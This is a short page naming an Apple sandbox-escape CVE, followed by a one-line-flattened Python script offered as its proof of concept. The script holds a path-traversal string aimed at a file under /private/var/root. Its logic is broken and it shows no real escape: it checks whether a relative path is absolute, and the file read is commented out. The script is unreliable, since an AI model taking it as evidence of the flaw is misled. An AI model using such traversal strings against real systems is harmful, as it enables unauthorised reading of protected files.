CVE-2026-20688 Apple沙箱逃逸漏洞

import os # PoC for CVE-2026-20688: Path Handling Sandbox Escape # This demonstrates accessing files outside the sandbox container. def check_vulnerability(): # Attempt to access a restricted system path using a crafted sequence # This simulates the path validation bypass malicious_path = "../../../../../../../../private/var/root/secret.txt" try: # In a vulnerable system, this path resolution might bypass checks if os.path.isabs(malicious_path): print(f"[+] Potential bypass detected for path: {malicious_path}") # Hypothetical file read operation # with open(malicious_path, 'r') as f: ... return True except Exception as e: print(f"[-] Access denied or safe: {e}") return False if __name__ == "__main__": check_vulnerability()